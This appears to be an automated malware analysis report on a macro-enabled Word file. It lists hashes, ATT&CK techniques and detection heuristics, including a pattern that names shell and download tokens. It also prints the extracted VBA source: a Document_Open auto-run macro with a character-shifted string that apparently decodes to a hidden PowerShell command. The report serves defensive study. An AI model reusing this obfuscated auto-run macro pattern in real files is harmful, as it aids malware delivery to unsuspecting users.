Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 301ddcde2eee35b2…

MALICIOUS

Office (OOXML)

16.9 KB Created: 2021-07-16 10:28:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2026-06-04
MD5: fb041f2899418340b49e871165e836e2 SHA-1: 8e80f6d5b37cc66152816de9f310bcaa16364ac5 SHA-256: 301ddcde2eee35b2d8ce2e2cbb1b56786e3666505561801b514557c9c7637ac5
70 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1204.002 Malicious File

The sample is an OOXML document containing a VBA project with a Document_Open macro. This macro calls a function that appears to decrypt and execute a string, likely a second-stage payload. The presence of a Document_Open macro and VBA p-code execution with shell tokens strongly suggests malicious intent, typical of macro-based malware delivery.

Heuristics 4

  • VBA project inside OOXML medium 2 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Sub Document_Open()
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1138 bytes
SHA-256: 9df8eaa8b9bd46bcfd6aa17ad59cee72c5a0518bf7d7e33f1ec5c767f7783a68
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Public Function convert(strInput As String)
        Dim n As Integer, i As Integer
        n = 13
        For i = 1 To Len(strInput)
            Mid(strInput, i, 1) = Chr(Asc(Mid(strInput, i, 1)) + n)
        Next i
        convert = strInput
End Function
    
Public Function getoriginal(strInput As String)
        Dim n As Integer, i As Integer
        n = 13
        For i = 1 To Len(strInput)
            Mid(strInput, i, 1) = Chr(Asc(Mid(strInput, i, 1)) - n)
        Next i
        getoriginal = strInput
End Function
    
Private Sub ProcessMyImage()
    Dim str As String
         str = "}|„r €uryy;r…r-:{|}-:dv{q|„€€�†yr-uvqqr{-:P|zzn{q:-"
         ' Debug.Print
    


End Sub

Private Sub Document_Open()
    ProcessMyImage
End Sub
















Attribute VB_Name = "Module1"
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 13312 bytes
SHA-256: e9d308b345faafd55d80e96d70fb15671ed121fea19d74d38b5d7c87430f7f82

Open this report in the interactive analyzer, or submit your own file for analysis.